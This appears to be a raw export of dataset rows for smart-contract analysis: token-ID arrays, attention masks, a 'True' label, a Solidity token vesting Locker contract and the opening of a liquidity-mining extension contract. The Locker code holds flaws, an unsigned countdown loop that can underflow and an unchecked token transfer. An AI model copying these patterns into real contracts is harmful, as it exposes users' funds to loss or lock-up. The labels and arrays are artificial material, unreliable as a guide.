9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
16048,
2629,
5403,
9102,
1065,
1007,
1012,
1008,
1008,
2005,
2019,
7375,
1010,
2156,
1063,
9413,
2278,
16048,
2629,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
2023,
3206,
22164,
1996,
8278,
4225,
2011,
1008,
1036,
8278,
3593,
1036,
1012,
2156,
1996,
7978,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1001,
2129,
1011,
19706,
1011,
2024,
1011,
4453,
1031,
1041,
11514,
2930,
1033,
1008,
2000,
4553,
2062,
2055,
2129,
2122,
8909,
2015,
2024,
2580,
1012,
1008,
1008,
2023,
3853,
2655,
2442,
2224,
2625,
2084,
2382,
2199,
3806,
1012,
1008,
1013,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
7375,
1997,
1996,
1063,
29464,
11890,
16048,
2629,
1065,
8278,
1012,
1008,
1008,
8311,
2008,
2215,
2000,
10408,
9413,
2278,
16048,
2629,
2323,
22490,
2013,
2023,
3206,
1998,
2058,
15637,
1063,
6753,
18447,
2121,
12172,
1065,
2000,
4638,
1008,
2005,
1996,
3176,
8278,
8909,
2008,
2097,
2022,
3569,
1012,
2005,
2742,
1024,
1008,
1008,
5024,
3012,
1008,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
2270,
3193,
7484,
2058,
15637,
5651,
1006,
22017,
2140,
1007,
1063,
1008,
2709,
8278,
3593,
1027,
1027,
2828,
1006,
2026,
18447,
2121,
12172,
1007,
1012,
8278,
3593,
1064,
1064,
3565,
1012,
6753,
18447,
2121,
12172,
1006,
8278,
3593,
1007,
1025,
1008,
1065,
1008,
1008,
1008,
14084,
1010,
1063,
9413,
2278,
16048,
2629,
23809,
4270,
1065,
3640,
2019,
6082,
2000,
2224,
2021,
2062,
6450,
7375,
1012,
1008,
1013,
10061,
3206,
9413,
2278,
16048,
2629,
2003,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
2156,
1063,
29464,
11890,
16048,
2629,
1011,
6753,
18447,
2121,
12172,
1065,
1012,
1008,
1013,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
2270,
3193,
7484,
2058,
15637,
5651,
1006,
22017,
2140,
1007,
1063,
2709,
8278,
3593,
1027,
1027,
2828,
1006,
29464,
11890,
16048,
2629,
1007,
1012,
8278,
3593,
1025,
1065,
1065,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3074,
1997,
4972,
3141,
2000,
1996,
4769,
2828,
1008,
1013,
3075,
4769,
1063,
1013,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
/**
* @title Locker
* @notice Locker holds tokens and releases them at a certain time.
*/
contract Locker is Ownable {
using SafeMath for uint;
using SafeERC20 for ERC20Basic;
/**
* It is init state only when adding release info is possible.
* beneficiary only can release tokens when Locker is active.
* After all tokens are released, locker is drawn.
*/
enum State { Init, Ready, Active, Drawn }
struct Beneficiary {
uint ratio; // ratio based on Locker's initial balance.
uint withdrawAmount; // accumulated tokens beneficiary released
bool releaseAllTokens;
}
/**
* @notice Release has info to release tokens.
* If lock type is straight, only two release infos is required.
*
* |
* 100 | _______________
* | _/
* 50 | _/
* | . |
* | . |
* | . |
* +===+=======+----*----------> time
* Locker First Last
* Activated Release Release
*
*
* If lock type is variable, the release graph will be
*
* |
* 100 | _________
* | |
* 70 | __________|
* | |
* 30 | _________|
* | |
* +===+=======+---------+----------*------> time
* Locker First Second Last
* Activated Release Release Release
*
*
*
* For the first straight release graph, parameters would be
* coeff: 100
* releaseTimes: [
* first release time,
* second release time
* ]
* releaseRatios: [
* 50,
* 100,
* ]
*
* For the second variable release graph, parameters would be
* coeff: 100
* releaseTimes: [
* first release time,
* second release time,
* last release time
* ]
* releaseRatios: [
* 30,
* 70,
* 100,
* ]
*
*/
struct Release {
bool isStraight; // lock type : straight or variable
uint[] releaseTimes; //
uint[] releaseRatios; //
}
uint public activeTime;
// ERC20 basic token contract being held
ERC20Basic public token;
uint public coeff;
uint public initialBalance;
uint public withdrawAmount; // total amount of tokens released
mapping (address => Beneficiary) public beneficiaries;
mapping (address => Release) public releases; // beneficiary's lock
mapping (address => bool) public locked; // whether beneficiary's lock is instantiated
uint public numBeneficiaries;
uint public numLocks;
State public state;
modifier onlyState(State v) {
require(state == v);
_;
}
modifier onlyBeneficiary(address _addr) {
require(beneficiaries[_addr].ratio > 0);
_;
}
event StateChanged(State _state);
event Locked(address indexed _beneficiary, bool _isStraight);
event Released(address indexed _beneficiary, uint256 _amount);
function Locker(address _token, uint _coeff, address[] _beneficiaries, uint[] _ratios) public {
require(_token != address(0));
require(_beneficiaries.length == _ratios.length);
token = ERC20Basic(_token);
coeff = _coeff;
numBeneficiaries = _beneficiaries.length;
uint accRatio;
for(uint i = 0; i < numBeneficiaries; i++) {
require(_ratios[i] > 0);
beneficiaries[_beneficiaries[i]].ratio = _ratios[i];
accRatio = accRatio.add(_ratios[i]);
}
require(coeff == accRatio);
}
/**
* @notice beneficiary can release their tokens after activated
*/
function activate() external onlyOwner onlyState(State.Ready) {
require(numLocks == numBeneficiaries); // double check : assert all releases are recorded
initialBalance = token.balanceOf(this);
require(initialBalance > 0);
activeTime = now; // solium-disable-line security/no-block-members
// set locker as active state
state = State.Active;
emit StateChanged(state);
}
function getReleaseType(address _beneficiary)
public
view
onlyBeneficiary(_beneficiary)
returns (bool)
{
return releases[_beneficiary].isStraight;
}
function getTotalLockedAmounts(address _beneficiary)
public
view
onlyBeneficiary(_beneficiary)
returns (uint)
{
return getPartialAmount(beneficiaries[_beneficiary].ratio, coeff, initialBalance);
}
function getReleaseTimes(address _beneficiary)
public
view
onlyBeneficiary(_beneficiary)
returns (uint[])
{
return releases[_beneficiary].releaseTimes;
}
function getReleaseRatios(address _beneficiary)
public
view
onlyBeneficiary(_beneficiary)
returns (uint[])
{
return releases[_beneficiary].releaseRatios;
}
/**
* @notice add new release record for beneficiary
*/
function lock(address _beneficiary, bool _isStraight, uint[] _releaseTimes, uint[] _releaseRatios)
external
onlyOwner
onlyState(State.Init)
onlyBeneficiary(_beneficiary)
{
require(!locked[_beneficiary]);
require(_releaseRatios.length != 0);
require(_releaseRatios.length == _releaseTimes.length);
uint i;
uint len = _releaseRatios.length;
// finally should release all tokens
require(_releaseRatios[len - 1] == coeff);
// check two array are ascending sorted
for(i = 0; i < len - 1; i++) {
require(_releaseTimes[i] < _releaseTimes[i + 1]);
require(_releaseRatios[i] < _releaseRatios[i + 1]);
}
// 2 release times for straight locking type
if (_isStraight) {
require(len == 2);
}
numLocks = numLocks.add(1);
// create Release for the beneficiary
releases[_beneficiary].isStraight = _isStraight;
// copy array of uint
releases[_beneficiary].releaseTimes = _releaseTimes;
releases[_beneficiary].releaseRatios = _releaseRatios;
// lock beneficiary
locked[_beneficiary] = true;
emit Locked(_beneficiary, _isStraight);
// if all beneficiaries locked, change Locker state to change
if (numLocks == numBeneficiaries) {
state = State.Ready;
emit StateChanged(state);
}
}
/**
* @notice transfer releasable tokens for beneficiary wrt the release graph
*/
function release() external onlyState(State.Active) onlyBeneficiary(msg.sender) {
require(!beneficiaries[msg.sender].releaseAllTokens);
uint releasableAmount = getReleasableAmount(msg.sender);
beneficiaries[msg.sender].withdrawAmount = beneficiaries[msg.sender].withdrawAmount.add(releasableAmount);
beneficiaries[msg.sender].releaseAllTokens = beneficiaries[msg.sender].withdrawAmount == getPartialAmount(
beneficiaries[msg.sender].ratio,
coeff,
initialBalance);
withdrawAmount = withdrawAmount.add(releasableAmount);
if (withdrawAmount == initialBalance) {
state = State.Drawn;
emit StateChanged(state);
}
token.transfer(msg.sender, releasableAmount);
emit Released(msg.sender, releasableAmount);
}
function getReleasableAmount(address _beneficiary) internal view returns (uint) {
if (releases[_beneficiary].isStraight) {
return getStraightReleasableAmount(_beneficiary);
} else {
return getVariableReleasableAmount(_beneficiary);
}
}
/**
* @notice return releaseable amount for beneficiary in case of straight type of release
*/
function getStraightReleasableAmount(address _beneficiary) internal view returns (uint releasableAmount) {
Beneficiary memory _b = beneficiaries[_beneficiary];
Release memory _r = releases[_beneficiary];
// total amount of tokens beneficiary can release
uint totalReleasableAmount = getTotalLockedAmounts(_beneficiary);
uint firstTime = _r.releaseTimes[0];
uint lastTime = _r.releaseTimes[1];
// solium-disable security/no-block-members
require(now >= firstTime); // pass if can release
// solium-enable security/no-block-members
if(now >= lastTime) { // inclusive to reduce calculation
releasableAmount = totalReleasableAmount;
} else {
// releasable amount at first time
uint firstAmount = getPartialAmount(
_r.releaseRatios[0],
coeff,
totalReleasableAmount);
// partial amount without first amount
releasableAmount = getPartialAmount(
now.sub(firstTime),
lastTime.sub(firstTime),
totalReleasableAmount.sub(firstAmount));
releasableAmount = releasableAmount.add(firstAmount);
}
// subtract already withdrawn amounts
releasableAmount = releasableAmount.sub(_b.withdrawAmount);
}
/**
* @notice return releaseable amount for beneficiary in case of variable type of release
*/
function getVariableReleasableAmount(address _beneficiary) internal view returns (uint releasableAmount) {
Beneficiary memory _b = beneficiaries[_beneficiary];
Release memory _r = releases[_beneficiary];
// total amount of tokens beneficiary will receive
uint totalReleasableAmount = getTotalLockedAmounts(_beneficiary);
uint releaseRatio;
// reverse order for short curcit
for(uint i = _r.releaseTimes.length - 1; i >= 0; i--) {
if (now >= _r.releaseTimes[i]) {
releaseRatio = _r.releaseRatios[i];
break;
}
}
require(releaseRatio > 0);
releasableAmount = getPartialAmount(
releaseRatio,
coeff,
totalReleasableAmount);
releasableAmount = releasableAmount.sub(_b.withdrawAmount);
}
/// https://github.com/0xProject/0x.js/blob/05aae368132a81ddb9fd6a04ac5b0ff1cbb24691/packages/contracts/src/current/protocol/Exchange/Exchange.sol#L497
/// @notice Calculates partial value given a numerator and denominator.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target.
function getPartialAmount(uint numerator, uint denominator, uint target) public pure returns (uint) {
return numerator.mul(target).div(denominator);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
4800,
24759,
3111,
2048,
3616,
1010,
11618,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1039,
1007,
1063,
1013,
1013,
3806,
20600,
1024,
2023,
2003,
16269,
2084,
27644,
1004,
1001,
4464,
1025,
1037,
1004,
1001,
4464,
1025,
2025,
2108,
5717,
1010,
2021,
1996,
1013,
1013,
5770,
2003,
2439,
2065,
1004,
1001,
4464,
1025,
1038,
1004,
1001,
4464,
1025,
2003,
2036,
7718,
1012,
1013,
1013,
2156,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
4139,
1013,
4720,
2475,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
16109,
2407,
1997,
2048,
3616,
1010,
19817,
4609,
18252,
1996,
22035,
9515,
3372,
1012,
1008,
1013,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
20865,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
8073,
11618,
2043,
16023,
2011,
1014,
1013,
1013,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1004,
1001,
4464,
1025,
1056,
2907,
2709,
1037,
1013,
1038,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4942,
6494,
16649,
2048,
3616,
1010,
11618,
2006,
2058,
12314,
1006,
1045,
1012,
1041,
1012,
2065,
4942,
6494,
22342,
2003,
3618,
2084,
8117,
24997,
2094,
1007,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
9909,
2048,
3616,
1010,
11618,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
2516,
2219,
3085,
1008,
1030,
16475,
1996,
2219,
3085,
3206,
2038,
2019,
3954,
4769,
1010,
1998,
3640,
3937,
20104,
2491,
1008,
4972,
1010,
2023,
21934,
24759,
14144,
1996,
7375,
1997,
1000,
5310,
6656,
2015,
1000,
1012,
1008,
1013,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
2724,
6095,
7389,
23709,
11788,
1006,
4769,
25331,
3025,
12384,
2121,
1007,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-02-02
*/
// File: contracts\amm-aggregator\common\AMMData.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
struct LiquidityPoolData {
address liquidityPoolAddress;
uint256 amount;
address tokenAddress;
bool amountIsLiquidityPool;
bool involvingETH;
address receiver;
}
struct SwapData {
bool enterInETH;
bool exitInETH;
address[] liquidityPoolAddresses;
address[] path;
address inputToken;
uint256 amount;
address receiver;
}
// File: contracts\liquidity-mining\LiquidityMiningData.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
struct LiquidityMiningSetupConfiguration {
bool add;
uint256 index;
LiquidityMiningSetup data;
}
// liquidity mining setup struct
struct LiquidityMiningSetup {
address ammPlugin; // amm plugin address used for this setup (eg. uniswap amm plugin address).
uint256 objectId; // items object id for the liquidity pool token.
address liquidityPoolTokenAddress; // address of the liquidity pool token
address mainTokenAddress; // eg. buidl address.
uint256 startBlock; // liquidity mining setup start block (used only if free is false).
uint256 endBlock; // liquidity mining setup end block (used only if free is false).
uint256 rewardPerBlock; // liquidity mining setup reward per single block.
uint256 currentRewardPerBlock; // liquidity mining setup current reward per single block.
uint256 totalSupply; // current liquidity added in this setup (used only if free is true).
uint256 lastBlockUpdate; // number of the block where an update was triggered.
uint256 maximumLiquidity; // maximum liquidity stakeable in the contract (used only if free is false).
uint256 currentStakedLiquidity; // currently staked liquidity (used only if free is false).
bool free; // if the setup is a free liquidity mining setup or a locked one.
uint256 renewTimes; // if the locked setup is renewable or if it's one time (used only if free is false).
uint256 penaltyFee; // fee paid when the user exits a still active locked liquidity mining setup (used only if free is false).
bool involvingETH; // if the setup involves ETH or not.
}
// position struct
struct LiquidityMiningPosition {
address uniqueOwner; // address representing the extension address, address(0) if objectId is populated.
uint256 setupIndex; // the setup index.
uint256 setupStartBlock; // liquidity mining setup start block (used only if free is false).
uint256 setupEndBlock; // liquidity mining setup end block (used only if free is false).
bool free; // if the setup is a free liquidity mining setup or a locked one.
// LiquidityPoolData liquidityPoolData; // amm liquidity pool data.
uint256 liquidityPoolTokenAmount;
uint256 reward; // position reward.
uint256 lockedRewardPerBlock; // position locked reward per block.
uint256 creationBlock; // block when this position was created.
}
// stake data struct
struct LiquidityMiningPositionRequest {
uint256 setupIndex; // index of the chosen setup.
uint256 amount; // amount of main token.
bool amountIsLiquidityPool; //true if user wants to directly share the liquidity pool token amount, false to add liquidity to AMM
address positionOwner; // position extension or address(0) [msg.sender].
}
// File: contracts\liquidity-mining\ILiquidityMiningExtension.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
interface ILiquidityMiningExtension {
function init(bool byMint, address host) external;
function setHost(address host) external;
function data() external view returns(address liquidityMiningContract, bool byMint, address host, address rewardTokenAddress);
function transferTo(uint256 amount, address recipient) external;
function backToYou(uint256 amount) external payable;
function setLiquidityMiningSetups(LiquidityMiningSetupConfiguration[] memory liquidityMiningSetups, bool clearPinned, bool setPinned, uint256 pinnedIndex) external;
}
// File: contracts\liquidity-mining\ILiquidityMining.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
//pragma abicoder v2;
interface ILiquidityMining {
function _rewardTokenAddress() external view returns(address);
function setups() external view returns (LiquidityMiningSetup[] memory);
function setLiquidityMiningSetups(LiquidityMiningSetupConfiguration[] memory liquidityMiningSetups, bool clearPinned, bool setPinned, uint256 pinnedIndex) external;
}
// File: contracts\liquidity-mining\util\IERC20.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function safeApprove(address spender, uint256 amount) external;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
}
// File: contracts\liquidity-mining\util\IERC20Mintable.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
interface IERC20Mintable {
function mint(address wallet, uint256 amount) external returns (bool);
function burn(address wallet, uint256 amount) external returns (bool);
}
// File: contracts\liquidity-mining\LiquidityMiningExtension.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
//pragma abicoder v2;
contract LiquidityMiningExtension is ILiquidityMiningExtension {
// wallet who has control on the extension
address internal _host;
// mapping that contains all the liquidity mining contract linked to this extension
address internal _liquidityMiningContract;
// the reward token address linked to this liquidity mining contract
address internal _rewardTokenAddress;
// whether the token is by mint or by reserve
bool internal _byMint;
/** MODIFIERS */
/** @dev liquidityMiningOnly modifier used to check for unauthorized transfers. */
modifier liquidityMiningOnly() {
require(msg.sender == _liquidityMiningContract, "Unauthorized");
_;
}
/** @dev hostOnly modifier used to check for unauthorized edits. */
modifier hostOnly() {
require(msg.sender == _host, "Unauthorized");
_;
}
/** PUBLIC METHODS */
receive() external payable {
require(_liquidityMiningContract != address(0) && _rewardTokenAddress == address(0), "ETH not allowed");
}
function init(bool byMint, address host) public virtual override {
require(_liquidityMiningContract == address(0), "Already init");
_rewardTokenAddress = ILiquidityMining(_liquidityMiningContract = msg.sender)._rewardTokenAddress();
_byMint = byMint;
_host = host;
}
